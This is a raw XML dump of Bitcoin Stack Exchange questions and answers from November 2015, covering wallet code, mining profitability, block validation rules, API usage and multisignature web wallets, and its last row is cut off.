  <row Id="41268" PostTypeId="2" ParentId="1716" CreationDate="2015-11-07T01:11:28.330" Score="0" Body="&lt;p&gt;Bitcoin Core JSON API wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple wallet based on the bitcoin-core api&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/makevoid/corb_wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/corb_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is very small:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routes are ~50 lines &lt;a href=&quot;https://github.com/makevoid/corb_wallet/blob/master/corb_wallet.rb#L48&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/corb_wallet/blob/master/corb_wallet.rb#L48&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main class is the Wallet class (~70 lines) &lt;a href=&quot;https://github.com/makevoid/corb_wallet/blob/master/models/wallet.rb#L35&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/corb_wallet/blob/master/models/wallet.rb#L35&lt;/a&gt;  and it's using bitcoin-client, a tiny library that wraps bitcoin core JSON RPC API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think using the core wallet has numerous advantages&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Clientside solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also another simple solution will be to create local keys with bitcore and use external apis like in these two repos/apps: &lt;a href=&quot;https://github.com/makevoid/blockchain_pen_coffee&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/blockchain_pen_coffee&lt;/a&gt; - &lt;a href=&quot;https://github.com/720kb/BitNFC&quot; rel=&quot;nofollow&quot;&gt;https://github.com/720kb/BitNFC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;key generation both for node and js clientside: &lt;a href=&quot;https://github.com/makevoid/blockchain_pen_coffee/blob/master/keychain.coffee#L16&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/blockchain_pen_coffee/blob/master/keychain.coffee#L16&lt;/a&gt; and usage of blockchain info api to get balance and utxos &lt;a href=&quot;https://github.com/makevoid/blockchain-info-api-basic/blob/master/index.coffee#L23&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/blockchain-info-api-basic/blob/master/index.coffee#L23&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;signign and broadcasting a transaction using blockcypher: &lt;a href=&quot;https://github.com/makevoid/blockchain_pen_coffee/blob/master/bitcore_ext.coffee#L41&quot; rel=&quot;nofollow&quot;&gt;https://github.com/makevoid/blockchain_pen_coffee/blob/master/bitcore_ext.coffee#L41&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Of course these two solutions need development (especially the second), I linked them just to show you an idea on the possibilities stable and available right now with little code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good suggestion I think is starting with first the core client or a clientside js wallet library like bitcore and stable block explorer service for getting balance, utxos and sending the tx, if they don't require an api key, that's a plus :D. You have to get your hands into the code and play with the core client / js browser client to build something meaningful to you. Bitcoin is still uncharted land, and just fixing the UI/UX problems, even with a basic client, it's a big win. sorry for the long answer&lt;/p&gt;&#xA;" OwnerUserId="12796" LastEditorUserId="12796" LastEditDate="2015-11-07T01:17:04.843" LastActivityDate="2015-11-07T01:17:04.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41269" PostTypeId="2" ParentId="41260" CreationDate="2015-11-07T02:39:05.030" Score="0" Body="&lt;p&gt;Btcwidget.com allows you to create custom widgets like this with your address.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-11-07T02:39:05.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41270" PostTypeId="1" CreationDate="2015-11-07T03:12:49.543" Score="3" ViewCount="509" Body="&lt;pre&gt;&lt;code&gt;UpdateTip: new best=0000000027effeeafbf56c6c9de19f7d8f5b96227b2b4e85c6f6033220866f0d  height=221  log2_work=39.298291  tx=46374  date=2015-11-06 12:02:46 progress=1.000000  cache=3.0MiB(10114tx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the significance of &lt;code&gt;cache=3.0MB&lt;/code&gt; in above mentioned UpdateTip log drom debug.log ?&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-12-07T05:16:41.113" Title="What does cache value signifies in UpdateTip log messages?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41271" PostTypeId="1" AcceptedAnswerId="41285" CreationDate="2015-11-07T03:34:45.877" Score="2" ViewCount="299" Body="&lt;p&gt;I'm trying to write Python code which utilises the (Insight) &lt;a href=&quot;https://blockexplorer.com/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockexplorer.com API &lt;/a&gt;, particularly the &lt;code&gt;POST&lt;/code&gt; functions. I'm testing using the iOS REST app, &lt;em&gt;&lt;a href=&quot;http://appcrawlr.com/ios/restler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Restler&lt;/a&gt;&lt;/em&gt; (see &lt;a href=&quot;https://i.stack.imgur.com/4zKBa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call I'm trying to make is fine when I use &lt;em&gt;GET&lt;/em&gt; (&lt;a href=&quot;https://testnet.blockexplorer.com/api/addrs/2NF2baYuJAkCKo5onjUKEPdARQkZ6SYyKd5,2NAre8sX2povnjy4aeiHKeEh97Qhn97tB1f/txs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://testnet.blockexplorer.com/api/addrs/2NF2baYuJAkCKo5onjUKEPdARQkZ6SYyKd5,2NAre8sX2povnjy4aeiHKeEh97Qhn97tB1f/txs&lt;/a&gt;), however for &lt;code&gt;POST&lt;/code&gt;, I'm having problems. I use &lt;code&gt;&quot;addrs&quot; = &quot;2NF2baYuJAkCKo5onjUKEPdARQkZ6SYyKd5,2NAre8sX2povnjy4aeiHKeEh97Qhn97tB1f&quot;&lt;/code&gt; as my params (and have tried using dumped JSON, ie&lt;code&gt;&quot;{ &quot;2NF2baYuJAkCKo5onjUKEPdARQkZ6SYyKd5,2NAre8sX2povnjy4aeiHKeEh97Qhn97tB1f&quot; }&quot;&lt;/code&gt;, but I'm always getting the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid addrs param:Cannot call method 'split' of undefined. Code:1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's clearly a parameters issue, so what gives? (FWIW I'm &lt;em&gt;not&lt;/em&gt; versed in JavaScript)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Relevant screenshot of &lt;em&gt;Restler&lt;/em&gt; (L) and API documentation (R):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QEeha.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QEeha.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-11-07T20:35:49.747" Title="Blockexplorer.com API POST error" Tags="|development|api|blockexplorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41272" PostTypeId="2" ParentId="41270" CreationDate="2015-11-07T05:04:16.747" Score="2" Body="&lt;p&gt;It's describing how much of the allocated UTXO cache you are using. You can adjust how much maximum memory Bitcoin Core uses for this and others with the &lt;code&gt;dbcache&lt;/code&gt; parameter, the higher the limit in megabytes the higher the performance to a certain degree. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-07T05:04:16.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41273" PostTypeId="1" CreationDate="2015-11-07T08:38:02.707" Score="1" ViewCount="40" Body="&lt;p&gt;What is the biggest bitcoin transaction ever performed so far (by value at the time of transaction)? And what was its transaction fee?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-11-07T22:05:30.303" LastActivityDate="2015-11-07T22:05:30.303" Title="What is the biggest bitcoin transaction ever performed so far?" Tags="|transactions|transaction-fees|" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-07T22:12:30.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="41274" PostTypeId="1" CreationDate="2015-11-07T09:10:51.910" Score="1" ViewCount="17" Body="&lt;p&gt;I read some reviews and would like to try my hand at this Bitcoin thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that costly, dedicated hardware is the way to go. I have a dual XEON E5420 (&lt;a href=&quot;http://goo.gl/Frco5X&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/Frco5X&lt;/a&gt;), 8Gb DDRII RAM sitting on a Intel S5000VSA motherboard. I have a 15K 146Gb SAS Drive available to load an OS.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Would I just waste effort and electricity getting this up and running.&lt;/li&gt;&#xA;&lt;li&gt;What would the best OS be to load to maximize CPU power for mining the hashes?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30388" LastEditorUserId="2306" LastEditDate="2017-04-25T20:04:07.633" LastActivityDate="2017-04-25T20:04:07.633" Title="Getting started" Tags="|mining-hardware|" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-07T12:10:29.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="41275" PostTypeId="1" CreationDate="2015-11-07T09:59:25.527" Score="3" ViewCount="221" Body="&lt;p&gt;Is there a way to accept fiat currencies online without having a credit card and having the fiat automatically converted to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know services such as BitPay and so on let's you accept Bitcoin payments on your site but what if you want to do the opposite thing and accept Fiat currencies and have them automatically converted to Bitcoin and sent to your account? Preferably without too much sign up hassle from the merchant's side.&lt;/p&gt;&#xA;" OwnerUserId="30389" LastEditorUserId="5406" LastEditDate="2015-11-07T12:26:45.577" LastActivityDate="2017-03-24T02:45:19.307" Title="Is there a way to accept fiat currencies online without having a credit card and having the fiat automatically converted to Bitcoin?" Tags="|buy-bitcoins|sell-bitcoins|merchant-services|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41276" PostTypeId="1" AcceptedAnswerId="41277" CreationDate="2015-11-07T10:54:58.147" Score="65" ViewCount="73359" Body="&lt;p&gt;&lt;strong&gt;I have recently learned about Bitcoin and would like to get &lt;s&gt;rich quickly&lt;/s&gt; into mining.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have control of a&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;laptop&lt;/li&gt;&#xA;&lt;li&gt;library full of ancient computers&lt;/li&gt;&#xA;&lt;li&gt;powerful gaming PC&lt;/li&gt;&#xA;&lt;li&gt;cluster of GPUs&lt;/li&gt;&#xA;&lt;li&gt;an old ASIC, I got for  three times its worth off eBay&lt;/li&gt;&#xA;&lt;li&gt;a cluster of &lt;a href=&quot;https://aws.amazon.com/ec2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EC2&lt;/a&gt; servers&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My power bill is&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;frightfully expensive&lt;/li&gt;&#xA;&lt;li&gt;dirt cheap&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;subsidized by my neighbors&lt;/s&gt; included in rent&lt;/li&gt;&#xA;&lt;li&gt;non-existent, because I produce a power surplus&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is it worth getting started with mining?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="121614" LastEditDate="2023-12-15T05:44:04.433" LastActivityDate="2023-12-15T05:44:04.433" Title="In the ASIC-age, is it worth starting mining Bitcoin at home?" Tags="|mining-profitability|asic|gpu-mining|cpu-mining|canonical-question|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="41277" PostTypeId="2" ParentId="41276" CreationDate="2015-11-07T11:03:50.520" Score="62" Body="&lt;p&gt;&lt;strong&gt;Generally, it's not worth your time and effort to mine at home!&lt;/strong&gt; (Some exceptions may apply.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Age of ASIC mining&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/59/5406&quot;&gt;CPU mining has been unprofitable since 2011&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5608/5406&quot;&gt;GPU mining just slightly later&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12042/5406&quot;&gt;ASICs&lt;/a&gt; rule mining. The Bitcoin network has more than &lt;a href=&quot;https://blockchain.info/charts/hash-rate&quot; rel=&quot;noreferrer&quot;&gt;1.7 Ehash/s&lt;/a&gt; (Oct 2016) now which is 1,700,000,000,000 Mhash/s. Your      graphics card will be running full blast to churn out a few hundred Mhash/s, your CPU maybe a few dozen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With CPU or GPU you will never collect a sufficient balance with a mining pool that you could even get paid out. It's a waste of time, even if you don't pay for power.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining has gone big scale&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Meanwhile, ASIC mining has gone industrial. Corporations are building mining centers in regions with very cheap power, and filling them with millions of USD worth of ASIC miners. Greater mining power in one hand  does have some slight advantages which adds to their more efficient processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, ASIC miners have been catching up quickly technologywise: Every few months new chips get announced moving the scale down a few more nm. Currently, we are reaching 16nm technology (Oct 2016), which is already pretty close to the general state of the art. The problem with that is that every step of miniaturization comes with a leap in power efficiency, quickly obsoleting older generations of ASICs. Chances are that your        investment will outdate before it pays for itself – even when you are just looking at cost of acquisition and have no cost of power.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining profits tend to zero&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The mining market tends to reach an equilibrium: While it is very profitable to mine, there is room for investments. The additional mining power increases the difficulty for all which in turn reduces the profitability. When the difficulty rises, it drives out the least cost efficient mining operations, in turn increasing the profitability of the remaining miners. If you're not in a particularly advantageous position, you will be quickly pushed out of the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2154/5406&quot;&gt;Why does mining profitability tend towards zero?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you're not paying for your power, someone else is&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you're &quot;not paying for your power&quot;, because it's included in rent (e.g. in a dormitory), you're either privatizing profits by socializing costs, i.e. stealing from your neighbors, or you'll be paying   for it next year when your landlord increases your rent to cover the higher power bill.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you produce a power surplus or use the ASIC to replace electric heating, hey, &lt;strong&gt;you&lt;/strong&gt; might be one of that exceptions I mentioned going in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be some altcoins that can still be profitably CPU/GPU mined and traded for Bitcoin thereafter, but I am not sure whether even they are worth it when you factor in your time investment.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you have understood all of the above, please feel free to check out &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/118/5406&quot;&gt;How much Bitcoin will I mine right now with hardware X?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1433/5406&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-10-13T15:16:07.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41279" PostTypeId="2" ParentId="41255" CreationDate="2015-11-07T11:34:35.370" Score="0" Body="&lt;p&gt;One of the core issues with a decentralized payment network is the initial distribution of funds. The Bitcoin protocol solves this by incentivizing participation through paying for its own upkeep in form of new money. The block reward therefore is mainly the initial distribution mechanism.&lt;br&gt;&#xA;In fact it is paid out regardless of the number of transactions that are confirmed in a block. Even an &quot;empty block&quot; only reaping the block reward is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the incentives to include and confirm transactions in blocks are two-fold:&lt;br&gt;&#xA;Primarily, transactions include a fee which can only be claimed by including the transaction in a block. These fees increase the revenue of the miner for hardly any effort, thus most miners try to include as many as possible.&lt;br&gt;&#xA;Secondarily, miners have spent large sums to obtain mining hardware. They are therefore invested in the success of Bitcoin. As you know, Bitcoin is only backed by its utility. Only if users chose Bitcoin over other payment networks miners stand to profit from their investment. It is thusly in the best interest of miners to maximize Bitcoin's utility. A cheap any easy way is to confirm as many transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, we can see that the transaction volume does not directly tie into the block reward. However, the overall incentive structure of Bitcoin makes interests of users and miners align fairly well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the block reward only as the cost per processed transactions falls short of its full significance.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-11-08T11:30:35.210" LastActivityDate="2015-11-08T11:30:35.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41280" PostTypeId="2" ParentId="40476" CreationDate="2015-11-07T14:43:35.583" Score="1" Body="&lt;p&gt;Paraphrasing from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protocol description on the Bitcoin-Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following checks are performed on the &lt;strong&gt;block&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;syntax for correctness&lt;/li&gt;&#xA;&lt;li&gt;is not a duplicate&lt;/li&gt;&#xA;&lt;li&gt;has at least one transaction&lt;/li&gt;&#xA;&lt;li&gt;hash satisfies difficulty statement (nBits)&lt;/li&gt;&#xA;&lt;li&gt;timestamp is not more than two hours in the future&lt;/li&gt;&#xA;&lt;li&gt;first transaction is a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4571/5406&quot;&gt;Coinbase&lt;/a&gt; transaction, no other transactions are.&lt;/li&gt;&#xA;&lt;li&gt;Transactions adhere rules&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;has inputs and outputs&lt;/li&gt;&#xA;&lt;li&gt;tx is smaller than MAX_BLOCK_SIZE&lt;/li&gt;&#xA;&lt;li&gt;each output and the total are between &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4770/5406&quot;&gt;0 and 21,000,000 bitcoin&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Coinbase's scriptSig length must be 2-100&lt;/li&gt;&#xA;&lt;li&gt;Reject if sum of transaction sig opcounts &gt; MAX_BLOCK_SIGOPS&lt;/li&gt;&#xA;&lt;li&gt;Verify &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37225/5406&quot;&gt;Merkle hash&lt;/a&gt; of the transactions&lt;/li&gt;&#xA;&lt;li&gt;Check if previous block is in main chain&lt;/li&gt;&#xA;&lt;li&gt;difficulty statement (nBits) matches difficulty rules&lt;/li&gt;&#xA;&lt;li&gt;timestamp is not older than median of 11 previous blocks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-11-07T14:43:35.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41281" PostTypeId="1" CreationDate="2015-11-07T14:52:31.247" Score="1" ViewCount="104" Body="&lt;p&gt;When I researched for the answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/40476/5406&quot;&gt;What happens in detail, when Bitcoin Core verifies a block during synchronization?&lt;/a&gt;, I noticed something:&lt;br&gt;&#xA;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22block.22_messages&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki-Entry on Protocol rules&lt;/a&gt; some of the transactions' traits are checked before all header data is verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do the following checks of difficulty statement and timestamp get performed only after transactions get looked at?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;11&quot;&gt;&#xA;  &lt;li&gt;Check if prev block (matching prev hash) is in main branch or side branches. If not, add this to orphan blocks, then query peer we got this from for 1st missing orphan block in prev chain; done with block&lt;/li&gt;&#xA;  &lt;li&gt;Check that nBits value matches the difficulty rules&lt;/li&gt;&#xA;  &lt;li&gt;Reject if timestamp is the median time of the last 11 blocks or before&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wouldn't it be more efficient to check the relation to the main chain and timestamp first, and then check the legality of the transactions?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-11-07T14:52:31.247" Title="Why do transactions get verified before it is clear that the block header is valid?" Tags="|protocol|block|bitcoin-core-development|verification|block-header|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41282" PostTypeId="2" ParentId="35407" CreationDate="2015-11-07T14:59:25.070" Score="1" Body="&lt;p&gt;Copying asker's own answer, so that this question can be removed from the unanswered queue (assuming this answer gets upvoted).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have found out how to get rid of the problem: Setting the start volt 0.05 below max. voltage on all loops seems to have made it more stable and the problem vanished... I still don´t know how it came about but at least I found a workaround :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-11-07T14:59:25.070" CommentCount="0" CommunityOwnedDate="2015-11-07T14:59:25.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="41283" PostTypeId="2" ParentId="37764" CreationDate="2015-11-07T15:36:31.457" Score="2" Body="&lt;p&gt;Decentralized technology is inherently more inefficient than centralized tech. In Bitcoin this expresses e.g. in the difficulties to implement Scalability and the Proof of Works energy consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other most prevalent criticism I've read is that there is no central instance in Bitcoin to dampen value swings. The predetermined rate of money creation does not leave any option of steering the money supply. While this is something many Bitcoin advocates like about the project, citing the patchy performance of central banking in the past, the resulting volatility is frequently listed as the most important design flaw of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-08-10T23:07:29.153" LastActivityDate="2017-08-10T23:07:29.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41285" PostTypeId="2" ParentId="41271" CreationDate="2015-11-07T20:35:49.747" Score="1" Body="&lt;p&gt;I was able to get the POST working. The error you're getting back seems to indicate the key &quot;addrs&quot; is not in the POST payload. Just a guess, but maybe you don't need the quotes and spaces around the payload?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oFJSa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFJSa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-07T20:35:49.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41286" PostTypeId="2" ParentId="3287" CreationDate="2015-11-07T22:19:20.637" Score="3" Body="&lt;p&gt;In November 2013 &lt;a href=&quot;https://blockchain.info/tx/1c12443203a48f42cdf7b1acee5b4b1c1fedc144cb909a3bf5edbffafb0cd204&quot; rel=&quot;nofollow&quot;&gt;a transaction for 194,993 BTC&lt;/a&gt; at the time worth $149 Million was sent.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-11-09T15:06:43.307" LastActivityDate="2015-11-09T15:06:43.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41287" PostTypeId="1" CreationDate="2015-11-07T23:08:22.973" Score="2" ViewCount="2245" Body="&lt;p&gt;BTC-e doesn't appear to allow USA wires from banks, and it has other options like MoneyPolo or OKPAY, neither of which allow USA customers either.  I've seen bitcoin traders arbitrage trade using US Dollars with BTC-e and they are Americans, so I'm curious how Americans use BTC-e outside of transferring bitcoin from one site to BTC-e?&lt;/p&gt;&#xA;" OwnerUserId="30383" LastEditorUserId="5406" LastEditDate="2015-11-08T00:44:03.920" LastActivityDate="2019-07-13T13:23:51.090" Title="How To Buy Bitcoins On BTC-e (USA)" Tags="|exchanges|btce|money-transfer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41288" PostTypeId="1" AcceptedAnswerId="41289" CreationDate="2015-11-08T06:47:51.590" Score="2" ViewCount="188" Body="&lt;p&gt;I've been researching multi-signature transactions and am wondering, as the title says, why a web wallet offering multi-signature transactions (2-of-3, for example) like blockchain.info would need any of your private keys at all. From what I understand, it looks like multi-signature 2-of-3 addresses require three public keys to generate, and are spent via raw transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why do these services not allow you to keep all three keys? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some reason that one of the keys must be kept by the wallet provider? It doesn't seem like any of the keys are required to be in the provider's wallet so long as they are available to sign the raw transaction before sending -- and in theory the raw transaction could be created by the client in the browser and submitted for transmission via sendrawtransaction without involving the provider in any sense other than raw connectivity to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="26420" LastActivityDate="2015-11-08T13:16:57.643" Title="Why do web wallets using multi-signature need 1 of N keys?" Tags="|multi-signature|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41289" PostTypeId="2" ParentId="41288" CreationDate="2015-11-08T13:16:57.643" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;From what I understand, it looks like multi-signature 2-of-3 addresses require three public keys to generate&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The requirement is for &lt;em&gt;private&lt;/em&gt; keys, the public keys are well, public: everybody knows them. A 2 of 3 script requires that any two of the three mentioned keys is needed, and you can use variations of this such as 2 of 2, 3 of 3, 1 of 3, etc. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are spent via raw transactions&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's also worth nothing that &quot;raw transactions&quot; is just a term used in Bitcoin Core when taking about anything which is not Pay to Pubkey Hash, it's pretty meaningless unless you're talking about the client itself. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So why do these services not allow you to keep all three keys? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The intention in multi signature wallets is that you can have a requirement for multiple parties to authorize a transaction. In the case of this model, you would have a 2-of-2 system, where there are two parties and both are required to sign in order to spend the related funds. This has the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The service can not outright steal the money from the user, as the user needs to sign the transaction as well. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user can have restrictions placed on them by the third party, say, they won't sign transactions which spend more than $10 a day, or without the requirement of additional authorization. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions can be authored in such a way that if the service refuses to sign any transactions (randoms the user, or goes out of business), after a significant passing of time the requirement is reduced to just a single signature from the user. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With these properties you can author very powerful systems with arbitrary spending requirements without risking the loss of money by giving complete of your money to anybody else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of web wallets however, this system is almost completely snake oil cryptography as the third party is also the one serving the code to the users. At any time they can alter this to different code which just sends the private keys back to them, or blindly signs any transaction they want. There's absolutely no way of making web wallets safe in light of this property. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So why do these services not allow you to keep all three keys? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then it would be pointless having multisignature transactions where one party holds all the keys, it would cost a lot less to just use regular transactions. Multisignature scripts tend to have significantly higher costs for use compared with regular transactions. &lt;/p&gt;&#xA;" OwnerUserId="24925" 